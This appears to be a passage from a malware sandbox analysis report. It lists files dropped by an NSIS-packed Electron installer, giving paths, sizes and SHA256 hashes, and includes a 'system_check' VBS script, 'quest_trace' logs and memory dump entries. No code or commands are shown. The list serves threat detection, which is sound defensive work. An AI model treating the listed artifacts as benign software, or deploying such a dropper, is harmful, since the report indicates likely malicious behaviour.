            • Path C:\Users\Admin\AppData\Local\Temp\nsrFA5A.tmp\7z-out\locales\es-419.pak
            • Size 515KB
            • SHA256 d1019c780e836e0c30fe01928d23ecdd0ca04ed8ee886adb3428e3683e4ed6ea
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            es.pak
            • Path C:\Users\Admin\AppData\Local\Temp\nsrFA5A.tmp\7z-out\locales\es.pak
            • Size 515KB
            • SHA256 f6a01c26bc18dcf701e1d4b6ff76602f14c4bb9adf9dd176c9107d5aedb4503f
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            et.pak
            • Path C:\Users\Admin\AppData\Local\Temp\nsrFA5A.tmp\7z-out\locales\et.pak
            • Size 468KB
            • SHA256 292eb18ec61502b0e952b447f73a66143c56dd95f170981945e5aab53a6b32b3
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            fa.pak
            • Path C:\Users\Admin\AppData\Local\Temp\nsrFA5A.tmp\7z-out\locales\fa.pak
            • Size 767KB
            • SHA256 7a856070430e3cfad15b96b153b1cb483cca9a1b9a43453df3707b09c748a3f2
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            fi.pak
            • Path C:\Users\Admin\AppData\Local\Temp\nsrFA5A.tmp\7z-out\locales\fi.pak
            • Size 478KB
            • SHA256 e6454458dfbe150112c37f8b02f8c72c593af22e8be16980ebc854ad113fb763
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            fil.pak
            • Path C:\Users\Admin\AppData\Local\Temp\nsrFA5A.tmp\7z-out\locales\fil.pak
            • Size 541KB
            • SHA256 ab107369d45e105a4cb4f2f6bc8da2a8c1b6c65d5e94a7ab3e703e619c083dae
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            fr.pak
            • Path C:\Users\Admin\AppData\Local\Temp\nsrFA5A.tmp\7z-out\locales\fr.pak
            • Size 559KB
            • SHA256 976622fb851378f57f81423e5625e40d0753d7a5e34caed2c39e4b130a3427b8
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            gu.pak
            • Path C:\Users\Admin\AppData\Local\Temp\nsrFA5A.tmp\7z-out\locales\gu.pak
            • Size 1.1MB
            • SHA256 716ea0433e19edb5113dc8a25ae67c2587bc17c7fb63a93ac473bdcef8f72d34
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            he.pak
            • Path C:\Users\Admin\AppData\Local\Temp\nsrFA5A.tmp\7z-out\locales\he.pak
            • Size 672KB
            • SHA256 c3955c97b6998f1806f8871fd3137f6f504bdd091f8bd1ff5ab8cd089474ae8e
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            hi.pak
            • Path C:\Users\Admin\AppData\Local\Temp\nsrFA5A.tmp\7z-out\locales\hi.pak
            • Size 1.1MB
            • SHA256 1f49622ec6682c90e03fc42c319074565cf9d3532a2a4e3798e2f6cc159b2e8a
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            hr.pak
            • Path C:\Users\Admin\AppData\Local\Temp\nsrFA5A.tmp\7z-out\locales\hr.pak
            • Size 521KB
            • SHA256 e442d083c32d752d1ef2225d84a4f1a91efab768e86fc63a7ed22c10fbf7e520
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            hu.pak
            • Path C:\Users\Admin\AppData\Local\Temp\nsrFA5A.tmp\7z-out\locales\hu.pak
            • Size 561KB
            • SHA256 6ca150d0fc35492bafb411bbc520f3b34da6399969fa9685ae74201623882560
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            id.pak
            • Path C:\Users\Admin\AppData\Local\Temp\nsrFA5A.tmp\7z-out\locales\id.pak
            • Size 462KB
            • SHA256 af63384cf7d1d39e57decd823dff7538ab2b1e7e36e9ac61238477f7889d1d46
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            it.pak
            • Path C:\Users\Admin\AppData\Local\Temp\nsrFA5A.tmp\7z-out\locales\it.pak
            • Size 509KB
            • SHA256 a7f555e7e797e1de1a66cfca8c7b709b0e542ca62e7de96e034701fcef316d0c
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            ja.pak
            • Path C:\Users\Admin\AppData\Local\Temp\nsrFA5A.tmp\7z-out\locales\ja.pak
            • Size 622KB
            • SHA256 8260f4c9500b64d541386a8515fd0c9ddef82e3f044951b7b51a33ad81c1128f
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            kn.pak
            • Path C:\Users\Admin\AppData\Local\Temp\nsrFA5A.tmp\7z-out\locales\kn.pak
            • Size 1.2MB
            • SHA256 58d16195170f76e40e18ee0ac2e10e1b73bcfd083821158927a7d67a51bcbc42
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            ko.pak
            • Path C:\Users\Admin\AppData\Local\Temp\nsrFA5A.tmp\7z-out\locales\ko.pak
            • Size 526KB
            • SHA256 cba6b7633cce796407821264e176a6266f80c1799ade16bf16893d68144236c6
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            lt.pak
            • Path C:\Users\Admin\AppData\Local\Temp\nsrFA5A.tmp\7z-out\locales\lt.pak
            • Size 564KB
            • SHA256 1bd385b780f3d13d41f8cf782a322e37be889aee273ffde3d8959e0ebcaabd0b
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            lv.pak
            • Path C:\Users\Admin\AppData\Local\Temp\nsrFA5A.tmp\7z-out\locales\lv.pak
            • Size 564KB
            • SHA256 91642c04de64f88a5c49b4eeaf5d627554e60d56fc40e7cd58cd2601b0d3dbf2
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            ml.pak
            • Path C:\Users\Admin\AppData\Local\Temp\nsrFA5A.tmp\7z-out\locales\ml.pak
            • Size 1.3MB
            • SHA256 83d187cd70048f4129fa65ba148c74a04a47ee1f14218e7c85b36fe83e87b5e3
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            mr.pak
            • Path C:\Users\Admin\AppData\Local\Temp\nsrFA5A.tmp\7z-out\locales\mr.pak
            • Size 1.0MB
            • SHA256 0877f2e75e0b9f5e709f0a0bf7cc793a02ff5bbb28bd6a8b6b6012760c1bbff3
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            ms.pak
            • Path C:\Users\Admin\AppData\Local\Temp\nsrFA5A.tmp\7z-out\locales\ms.pak
            • Size 484KB
            • SHA256 c7b56e9ca2f75b4414c13144ff4deee1459c2a7cde79730d863ab234cd4c2f8b
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            nb.pak
            • Path C:\Users\Admin\AppData\Local\Temp\nsrFA5A.tmp\7z-out\locales\nb.pak
            • Size 471KB
            • SHA256 96747543d9b2dbfb4482d4c24d7818d366545b2476633ad4fec8cc958ab760d3
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            nl.pak
            • Path C:\Users\Admin\AppData\Local\Temp\nsrFA5A.tmp\7z-out\locales\nl.pak
            • Size 484KB
            • SHA256 c7a18764ca908ec7f66c48cae2be06fef95213d7a5580b45f9bacee474456167
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            pl.pak
            • Path C:\Users\Admin\AppData\Local\Temp\nsrFA5A.tmp\7z-out\locales\pl.pak
            • Size 543KB
            • SHA256 69e16e41f5fe7fa18557b938874f20cda6879f3cc616ead9a815c1381fe94158
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            pt-BR.pak
            • Path C:\Users\Admin\AppData\Local\Temp\nsrFA5A.tmp\7z-out\locales\pt-BR.pak
            • Size 510KB
            • SHA256 6d54f87f6c8b5e01bd0da9a961236344e95e85c3dc55fc92a34542777d6f6275
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            pt-PT.pak
            • Path C:\Users\Admin\AppData\Local\Temp\nsrFA5A.tmp\7z-out\locales\pt-PT.pak
            • Size 512KB
            • SHA256 a903ca2a8e52f987e23d040de7403b58d925a6c39668d3bc0822fb2aadd34cb1
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            ro.pak
            • Path C:\Users\Admin\AppData\Local\Temp\nsrFA5A.tmp\7z-out\locales\ro.pak
            • Size 531KB
            • SHA256 82e69f505222125ea62f8e90d8030d82a1bd49871192cb4274a8fd9d0e03d577
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            ru.pak
            • Path C:\Users\Admin\AppData\Local\Temp\nsrFA5A.tmp\7z-out\locales\ru.pak
            • Size 872KB
            • SHA256 d0068b9ddf8a9e6a5b1186bd0e00ed9f09224ed56ba7e653e2d54158d938c6f2
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            sk.pak
            • Path C:\Users\Admin\AppData\Local\Temp\nsrFA5A.tmp\7z-out\locales\sk.pak
            • Size 548KB
            • SHA256 f9cd222838721a618c23c8f6493bc9699c795c0063998f1a8d506b4b7a297cdc
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            sl.pak
            • Path C:\Users\Admin\AppData\Local\Temp\nsrFA5A.tmp\7z-out\locales\sl.pak
            • Size 526KB
            • SHA256 b174c4c49654f7d65d223568c700bfaace74238447ae63171787236ce2aab00e
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            sr.pak
            • Path C:\Users\Admin\AppData\Local\Temp\nsrFA5A.tmp\7z-out\locales\sr.pak
            • Size 811KB
            • SHA256 a2bc6b064ff1f7b15707f61bd76ddd9d889bd982c4182e9e74272d39c6235c85
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            sv.pak
            • Path C:\Users\Admin\AppData\Local\Temp\nsrFA5A.tmp\7z-out\locales\sv.pak
            • Size 473KB
            • SHA256 48a71912e4843b03358fede7176b2e57ced83d3a1344a92b989886374dbded62
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            sw.pak
            • Path C:\Users\Admin\AppData\Local\Temp\nsrFA5A.tmp\7z-out\locales\sw.pak
            • Size 498KB
            • SHA256 1949953d638f266ce74d84c020174c074780166b880e7c2ec38bc6047bbb8ecc
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            ta.pak
            • Path C:\Users\Admin\AppData\Local\Temp\nsrFA5A.tmp\7z-out\locales\ta.pak
            • Size 1.3MB
            • SHA256 6348cc2d385b9808fdf1b815914dbfb26f552da4d10f85b2613a5e6e9f95b8fa
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            te.pak
            • Path C:\Users\Admin\AppData\Local\Temp\nsrFA5A.tmp\7z-out\locales\te.pak
            • Size 1.2MB
            • SHA256 09ab1ac2b69f868539d4f2e59dfea8c3c2f418a5455777e4c91d13c5ee55ab4c
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            th.pak
            • Path C:\Users\Admin\AppData\Local\Temp\nsrFA5A.tmp\7z-out\locales\th.pak
            • Size 1003KB
            • SHA256 f06a45f0395c3e42e42c46de2c19a2a104661b47be6f9ee97f8c68b05706ef1e
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            tr.pak
            • Path C:\Users\Admin\AppData\Local\Temp\nsrFA5A.tmp\7z-out\locales\tr.pak
            • Size 509KB
            • SHA256 676d46d19d1673eeff4f5e908aec3b53a6273c440e69e7d655ced6c70531cb9a
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            uk.pak
            • Path C:\Users\Admin\AppData\Local\Temp\nsrFA5A.tmp\7z-out\locales\uk.pak
            • Size 870KB
            • SHA256 29d68d90512ee9952635c7e074d5ab210531d93ae24c11a8f91bca20b685e9a2
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            ur.pak
            • Path C:\Users\Admin\AppData\Local\Temp\nsrFA5A.tmp\7z-out\locales\ur.pak
            • Size 761KB
            • SHA256 2520ba8471c840aa075075524c4ad2bde10f43fa7a1b623aa14555180ecd30ef
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            vi.pak
            • Path C:\Users\Admin\AppData\Local\Temp\nsrFA5A.tmp\7z-out\locales\vi.pak
            • Size 602KB
            • SHA256 25aeee59775ae38b21a091107022312fc228f96dbea906042bf3626b7cf86b98
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            zh-CN.pak
            • Path C:\Users\Admin\AppData\Local\Temp\nsrFA5A.tmp\7z-out\locales\zh-CN.pak
            • Size 435KB
            • SHA256 6a9a1f5b7674da36f20cb76af7e3e75e9e56873539e8a3b32895ebba439af83a
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            zh-TW.pak
            • Path C:\Users\Admin\AppData\Local\Temp\nsrFA5A.tmp\7z-out\locales\zh-TW.pak
            • Size 430KB
            • SHA256 6a43c8fac5a0ce7c7a21b30ac7bc2167488e17c81c76c00f0b92b49e9e46e469
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            resources.pak
            • Path C:\Users\Admin\AppData\Local\Temp\nsrFA5A.tmp\7z-out\resources.pak
            • Size 5.1MB
            • SHA256 1d241f5d4403a6e802e898c61e4753f8508ae4dda8fcb7750558ec1ecade52c6
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            app.asar
            • Path C:\Users\Admin\AppData\Local\Temp\nsrFA5A.tmp\7z-out\resources\app.asar
            • Size 11.9MB
            • SHA256 5f13fd504e2bbf1a065625ab8762360c58cb12c6d60a20983402b0afdb27e3dd
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            elevate.exe
            • Path C:\Users\Admin\AppData\Local\Temp\nsrFA5A.tmp\7z-out\resources\elevate.exe
            • Size 105KB
            • SHA256 9b1fbf0c11c520ae714af8aa9af12cfd48503eedecd7398d8992ee94d1b4dc37
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            snapshot_blob.bin
            • Path C:\Users\Admin\AppData\Local\Temp\nsrFA5A.tmp\7z-out\snapshot_blob.bin
            • Size 270KB
            • SHA256 b6bea91727efb8c88e7c059856553d3a47abd883e60dd60efc01b04dc6eec621
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            v8_context_snapshot.bin
            • Path C:\Users\Admin\AppData\Local\Temp\nsrFA5A.tmp\7z-out\v8_context_snapshot.bin
            • Size 627KB
            • SHA256 2db4a98abe705ef9bc18e69d17f91bc3f4c0f5703f9f57b41acb877100718918
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            vk_swiftshader.dll
            • Path C:\Users\Admin\AppData\Local\Temp\nsrFA5A.tmp\7z-out\vk_swiftshader.dll
            • Size 5.0MB
            • SHA256 680ea3717671c896d516517ff322976ab708f18862135be4216a27ad57353dcc
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            vk_swiftshader_icd.json
            • Path C:\Users\Admin\AppData\Local\Temp\nsrFA5A.tmp\7z-out\vk_swiftshader_icd.json
            • Size 106B
            • SHA256 32d83ff113fef532a9f97e0d2831f8656628ab1c99e9060f0332b1532839afd9
            • MD5 SHA1 SHA512 TLSH
            Submit Download

            vulkan-1.dll
            • Path C:\Users\Admin\AppData\Local\Temp\nsrFA5A.tmp\7z-out\vulkan-1.dll
            • Size 925KB
            • SHA256 d5df2f59cc8b32abd6178250e7d1370a7f37270cc727449e21778080b5e29cd2
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            StdUtils.dll
            • Path C:\Users\Admin\AppData\Local\Temp\nsrFA5A.tmp\StdUtils.dll
            • Size 100KB
            • SHA256 b72e9013a6204e9f01076dc38dabbf30870d44dfc66962adbf73619d4331601e
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            System.dll
            • Path C:\Users\Admin\AppData\Local\Temp\nsrFA5A.tmp\System.dll
            • Size 12KB
            • SHA256 3eb38ae99653a7dbc724132ee240f6e5c4af4bfe7c01d31d23faf373f9f2eaca
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            nsis7z.dll
            • Path C:\Users\Admin\AppData\Local\Temp\nsrFA5A.tmp\nsis7z.dll
            • Size 424KB
            • SHA256 b393f05e8ff919ef071181050e1873c9a776e1a0ae8329aefff7007d0cadf592
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            quest_trace.log
            • Path C:\Users\Admin\AppData\Local\Temp\quest_trace.log
            • Size 1KB
            • SHA256 b96d3115701bebfeb5616e3e62534911c8bfec7765b76fddacaea8a04f7b09f1
            • MD5 SHA1 SHA512 TLSH
            Submit Download

            quest_trace.log
            • Path C:\Users\Admin\AppData\Local\Temp\quest_trace.log
            • Size 1KB
            • SHA256 c9f7f0a82a4373afee2fcada92f04ce80bb9c3e86003f429585c08ace4be0b3e
            • MD5 SHA1 SHA512 TLSH
            Submit Download

            quest_trace.log
            • Path C:\Users\Admin\AppData\Local\Temp\quest_trace.log
            • Size 2KB
            • SHA256 a8d28e01398a6bfb395beb4fb09996eb50c4fea28096650490c16e0affe9056b
            • MD5 SHA1 SHA512 TLSH
            Submit Download

            system_check_1785701657392.vbs
            • Path C:\Users\Admin\AppData\Local\Temp\system_check_1785701657392.vbs
            • Size 216B
            • SHA256 600663b0860f7c0f136c9a9fb273d878feea20ba12222e68742da5ff7d18ccb4
            • MD5 SHA1 SHA512 TLSH
            Submit Download

            du1f1ecaqhh.zip
            • Path C:\Users\Admin\AppData\Local\quest-local\du1f1ecaqhh.zip
            • Size 126B
            • SHA256 062ed9b7f083129fcc9baddf748d017541d98a7f2716e6dcb488b6b7a0d9e3ec
            • MD5 SHA1 SHA512 TLSH
            Submit Download

            memory/2164-415-0x000001411C8C0000-0x000001411C8E4000-memory.dmp
            Download

            memory/2164-411-0x000001411C340000-0x000001411C35E000-memory.dmp
            Download

            memory/2164-406-0x000001411C290000-0x000001411C2B2000-memory.dmp
            Download

            memory/2164-413-0x000001411C330000-0x000001411C33A000-memory.dmp
            Download

            memory/2164-412-0x000001411C580000-0x000001411C632000-memory.dmp
            Download

            memory/2164-414-0x000001411C8C0000-0x000001411C8EA000-memory.dmp
            Download

            memory/4264-503-0x00000209CBBB0000-0x00000209CBC62000-memory.dmp
            Download

            memory/4552-422-0x00000223BF7E0000-0x00000223BF892000-memory.dmp
            Download

            memory/5472-470-0x0000014A7F260000-0x0000014A7F2B0000-memory.dmp
            Download